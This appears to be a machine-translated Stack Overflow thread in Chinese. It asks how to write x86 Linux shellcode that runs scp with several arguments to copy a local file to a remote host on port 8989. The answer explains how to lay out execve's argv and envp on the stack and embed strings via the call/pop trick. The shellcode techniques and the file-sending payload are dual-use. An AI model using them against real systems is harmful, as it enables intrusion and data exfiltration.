2014-05-12 64 views
0

我想寫一個執行sys_execve("/usr/bin/scp","usr/bin/scp",args,NULL)的shellcode。
程序集x86:具有多個參數的execve

這是完整的命令:
scp -i /tmp/file -P 8989 /path/file [email protected]:/home/user

的問題是,我需要寄存器的很多(有SCP的後6個令牌):

cdq 

push edx 
push [email protected]:/home/user 
mov edi,esp 

push edx 
push /path/file 
mov esi,esp 

push edx 
push 8989 
mov ecx,esp 

push edx 
push -P 
mov eax,esp 

push edx 
push /tmp/file 
??? 

push edx 
push -i 
??? 

push edx 
push /usr/bin/scp 
mov ebx,esp 

我試圖像這樣推送寄存器:

cdq 

push edx 
push [email protected]:/home/user 
mov edi,esp 

push edx 
push /path/file 
mov esi,esp 

push edx 
push 8989 
mov ecx,esp 

push edx 
push -P 
mov eax,esp 

push edx 
push edi 
push esi 
push ecx 
push eax 
mov ecx,esp 

push edx 
push /tmp/file 
mov edi,esp 

push edx 
push -i 
mov esi,esp 

push edx 
push /usr/bin/scp 
mov ebx,esp 

push edx 
push ecx 
push edi 
push esi 
push ebx 
mov ecx,esp 

int 0x80 

但使用gdb和libemu我看到只產生垃圾字節。
有關如何解決此問題的任何提示?

+0

的可能重複的[SYS \ _execve從組裝系統調用(http://stackoverflow.com/questions/9342410/sys-execve-system-來電匯編) –

回答

0

推/路徑/文件

我應該這樣做的指令?

推送一個字符串的地址?

將字符串本身寫入堆棧?

我試着把寄存器這樣的:

,你所要做的是:

  • 推值爲0(32位)
  • 推球(每個32位)用於每個要使用的環境字符串
  • 將ESP寄存器複製到EDX(mov edx,esp)
  • 將值0和指針指向每個命令行參數(包括可執行文件名argv [0]);推最後一個參數第一
  • 拷貝ESP到ECX
  • 寫指針可執行文件名EBX
  • 寫0x0B中以EAX
  • 執行 「INT 0x80的」

(假設你使用Linux)

---編輯---

不要把所有內容都存儲在寄存器中!

我將存儲在固定的程序代碼串:

call xx 
xx: 
    pop edx 
    lea ecx,[edx+p1-xx] 
    push ecx # ecx is now a pointer to "/some/file" 
    lea ecx,[edx+p2-xx] 
    push ecx # ecx is now a pointer to "/other/file" 
    ... 
    int 0x80 
p1: 
    db "/some/file",0 
p2: 
    db "/other/file",0 
+0

THX!但我的問題是我沒有足夠的註冊。我必須寫6個令牌(並且每個令牌都需要一個寄存器)。我有一個空間問題,我不知道如何解決它:( – polslinux